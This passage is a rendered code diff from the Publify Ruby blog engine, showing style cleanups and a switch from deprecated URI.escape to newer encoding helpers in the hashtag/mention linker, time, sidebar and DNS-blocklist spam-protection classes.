8
10
 
9
11
  def self.filtertext(text)
10
12
  # First, autolink
@@ -16,14 +18,18 @@ class PublifyApp
16
18
  # hashtags
17
19
  text.split.grep(/^#\w+/) do |item|
18
20
  # strip_html because Ruby considers "#prouddad</p>" as a word
19
- uri = URI.escape("https://twitter.com/search?q=#{item.strip_html}&src=tren&mode=realtime")
20
- text = text.gsub(item, "<a href='#{uri}'>#{item.strip_html}</a>")
21
+ item = item.strip_html
22
+ search_item = URI.encode_www_form_component(item)
23
+
24
+ uri = "https://twitter.com/search?q=#{search_item}&src=tren&mode=realtime"
25
+ text = text.gsub(item, "<a href='#{uri}'>#{item}</a>")
21
26
  end
22
27
 
23
28
  # @mention
24
29
  text.to_s.split.grep(/@\w+/) do |item|
25
- uri = URI.escape("https://twitter.com/#{item.strip_html.delete('@')}")
26
- text = text.gsub(item, "<a href='#{uri}'>#{item.strip_html}</a>")
30
+ item = item.strip_html
31
+ uri = html_escape("https://twitter.com/#{item.delete("@")}")
32
+ text = text.gsub(item, "<a href='#{uri}'>#{item}</a>")
27
33
  end
28
34
 
29
35
  text
data/lib/publify_time.rb CHANGED
@@ -1,10 +1,14 @@
1
+ # frozen_string_literal: true
2
+
1
3
  class PublifyTime
2
4
  def self.delta(year = nil, month = nil, day = nil)
3
5
  return nil if year.nil? && month.nil? && day.nil?
6
+
4
7
  year = year.to_i unless year.nil?
5
8
  month = month.to_i unless month.nil?
6
9
  day = day.to_i unless day.nil?
7
10
  return nil if year.zero?
11
+
8
12
  from = Time.zone.local(year, month, day)
9
13
  to = from.end_of_year
10
14
  to = from.end_of_month if month.present?
data/lib/sidebar_field.rb CHANGED
@@ -1,7 +1,8 @@
1
+ # frozen_string_literal: true
2
+
1
3
  class SidebarField
2
- attr_accessor :key
3
- attr_accessor :options
4
- attr_accessor :default
4
+ attr_accessor :key, :options, :default
5
+
5
6
  include ActionView::Helpers::TagHelper
6
7
  include ActionView::Helpers::FormTagHelper
7
8
  include ActionView::Helpers::FormOptionsHelper
@@ -13,19 +14,19 @@ class SidebarField
13
14
  end
14
15
 
15
16
  def label
16
- options[:label] || key.humanize.gsub(/url/i, 'URL')
17
+ options[:label] || key.humanize.gsub(/url/i, "URL")
17
18
  end
18
19
 
19
20
  def label_html(_sidebar)
20
- content_tag('label', label)
21
+ tag.label(label)
21
22
  end
22
23
 
23
24
  def input_html(sidebar)
24
- text_field_tag(input_name(sidebar), current_value(sidebar), class: 'form-control')
25
+ text_field_tag(input_name(sidebar), current_value(sidebar), class: "form-control")
25
26
  end
26
27
 
27
28
  def line_html(sidebar)
28
- content_tag(:div, label_html(sidebar) + input_html(sidebar), class: 'form-group')
29
+ tag.div(label_html(sidebar) + input_html(sidebar), class: "form-group")
29
30
  end
30
31
 
31
32
  def input_name(sidebar)
@@ -50,7 +51,8 @@ class SidebarField
50
51
 
51
52
  class TextAreaField < self
52
53
  def input_html(sidebar)
53
- html_options = { 'rows' => '10', 'class' => 'form-control' }.update(options.stringify_keys)
54
+ html_options = { "rows" => "10", "class" => "form-control" }.
55
+ update(options.stringify_keys)
54
56
  text_area_tag(input_name(sidebar), current_value(sidebar), html_options)
55
57
  end
56
58
  end
@@ -63,7 +65,7 @@ class SidebarField
63
65
  value,
64
66
  value == current_value(sidebar),
65
67
  options)
66
- content_tag('div', content_tag('label', radio_button + label_for(choice)), class: 'radio')
68
+ tag.div(tag.label(radio_button + label_for(choice)), class: "radio")
67
69
  end
68
70
  safe_join(choices)
69
71
  end
@@ -80,14 +82,14 @@ class SidebarField
80
82
  class CheckBoxField < self
81
83
  def line_html(sidebar)
82
84
  content = hidden_field_tag(input_name(sidebar), 0) +
83
- content_tag('label',
84
- check_box_tag(input_name(sidebar), 1, current_value(sidebar), options) + label)
85
- content_tag('div', content, class: 'checkbox')
85
+ tag.label(check_box_tag(input_name(sidebar), 1,
86
+ current_value(sidebar), options) + label)
87
+ tag.div(content, class: "checkbox")
86
88
  end
87
89
 
88
90
  def canonicalize(value)
89
91
  case value
90
- when '0'
92
+ when "0"
91
93
  false
92
94
  else
93
95
  true
@@ -1,3 +1,5 @@
1
+ # frozen_string_literal: true
2
+
1
3
  class SidebarRegistry
2
4
  class << self
3
5
  def register_sidebar(klass_name)
@@ -13,14 +15,14 @@ class SidebarRegistry
13
15
  end
14
16
 
15
17
  def register_sidebar_directory(plugins_root, paths)
16
- separator = plugins_root.include?('/') ? '/' : '\\'
18
+ separator = plugins_root.include?("/") ? "/" : '\\'
17
19
 
18
- Dir.glob(File.join(plugins_root, '*_sidebar')).select do |file|
20
+ Dir.glob(File.join(plugins_root, "*_sidebar")).select do |file|
19
21
  plugin_name = file.split(separator).last
20
22
  register_sidebar plugin_name.classify
21
23
  # TODO: Move Sidebars to app/models, and views to app/views so this can
22
24
  # be simplified.
23
- paths << File.join(plugins_root, plugin_name, 'lib')
25
+ paths << File.join(plugins_root, plugin_name, "lib")
24
26
  end
25
27
  end
26
28
 
@@ -1,8 +1,10 @@
1
- require 'format'
1
+ # frozen_string_literal: true
2
+
3
+ require "format"
2
4
 
3
5
  class SpamProtection
4
- IP_RBLS = ['opm.blitzed.us', 'bsb.empty.us'].freeze
5
- HOST_RBLS = ['multi.surbl.org', 'bsb.empty.us'].freeze
6
+ IP_RBLS = ["opm.blitzed.us", "bsb.empty.us"].freeze
7
+ HOST_RBLS = ["multi.surbl.org", "bsb.empty.us"].freeze
6
8
  SECOND_LEVEL = %w(co com net org gov).freeze
7
9
 
8
10
  attr_accessor :this_blog
@@ -25,7 +27,7 @@ class SpamProtection
25
27
 
26
28
  if reason
27
29
  logger.info("[SP] Hit: #{reason}")
28
- return true
30
+ true
29
31
  end
30
32
  end
31
33
 
@@ -33,11 +35,12 @@ class SpamProtection
33
35
 
34
36
  def scan_ip(ip_address)
35
37
  logger.info("[SP] Scanning IP #{ip_address}")
36
- query_rbls(IP_RBLS, ip_address.split('.').reverse.join('.'))
38
+ query_rbls(IP_RBLS, ip_address.split(".").reverse.join("."))
37
39
  end
38
40
 
39
41
  def scan_text(string)
40
- uri_list = string.scan(/(http:\/\/[^\s"]+)/m).flatten
42
+ # FIXME: Unify HTTP URI matchers
43
+ uri_list = string.scan(%r{(http://[^\s"]+)}m).flatten
41
44
 
42
45
  check_uri_count(uri_list)
43
46
  scan_uris(uri_list)
@@ -48,9 +51,8 @@ class SpamProtection
48
51
  def check_uri_count(uris)
49
52
  limit = this_blog.sp_url_limit
50
53
  return if limit.to_i.zero?
51
- if uris.size > limit
52
- throw :hit, "Hard URL Limit hit: #{uris.size} > #{limit}"
53
- end
54
+
55
+ throw :hit, "Hard URL Limit hit: #{uris.size} > #{limit}" if uris.size > limit
54
56
  end
55
57
 
56
58
  def scan_uris(uris = [])
@@ -60,9 +62,9 @@ class SpamProtection
60
62
  rescue URI::InvalidURIError
61
63
  next
62
64
  end
63
- return scan_ip(host) if host =~ Format::IP_ADDRESS
65
+ return scan_ip(host) if Format::IP_ADDRESS.match?(host)
64
66
 
65
- host_parts = host.split('.').reverse
67
+ host_parts = host.split(".").reverse
66
68
  domain = []
67
69
 
68
70
  # Check for two level TLD
@@ -70,9 +72,9 @@ class SpamProtection
70
72
  domain.unshift(host_parts.shift)
71
73
  end
72
74
 
73
- logger.info("[SP] Scanning domain #{domain.join('.')}")
74
- query_rbls(HOST_RBLS, host, domain.join('.'))
75
- logger.info("[SP] Finished domain scan #{domain.join('.')}")
75
+ logger.info("[SP] Scanning domain #{domain.join(".")}")
76
+ query_rbls(HOST_RBLS, host, domain.join("."))
77
+ logger.info("[SP] Finished domain scan #{domain.join(".")}")
76
78
  return false
77
79
  end
78
80
  end
@@ -81,8 +83,8 @@ class SpamProtection
81
83
  rbls.each do |rbl|
82
84
  subdomains.uniq.each do |d|
83
85
  begin
84
- response = IPSocket.getaddress([d, rbl].join('.'))
85
- if response =~ /^127\.0\.0\./
86
+ response = IPSocket.getaddress([d, rbl].join("."))
87
+ if response.start_with?("127.0.0.")
86
88
  throw :hit,
87
89
  "#{rbl} positively resolved subdomain #{d} => #{response}"
88
90
  end
@@ -96,6 +98,6 @@ class SpamProtection
96
98
  end
97
99
 
98
100
  def logger
99
- @logger ||= ::Rails.logger || Logger.new(STDOUT)
101
+ @logger ||= ::Rails.logger || Logger.new($stdout)
100
102
  end
101
103
  end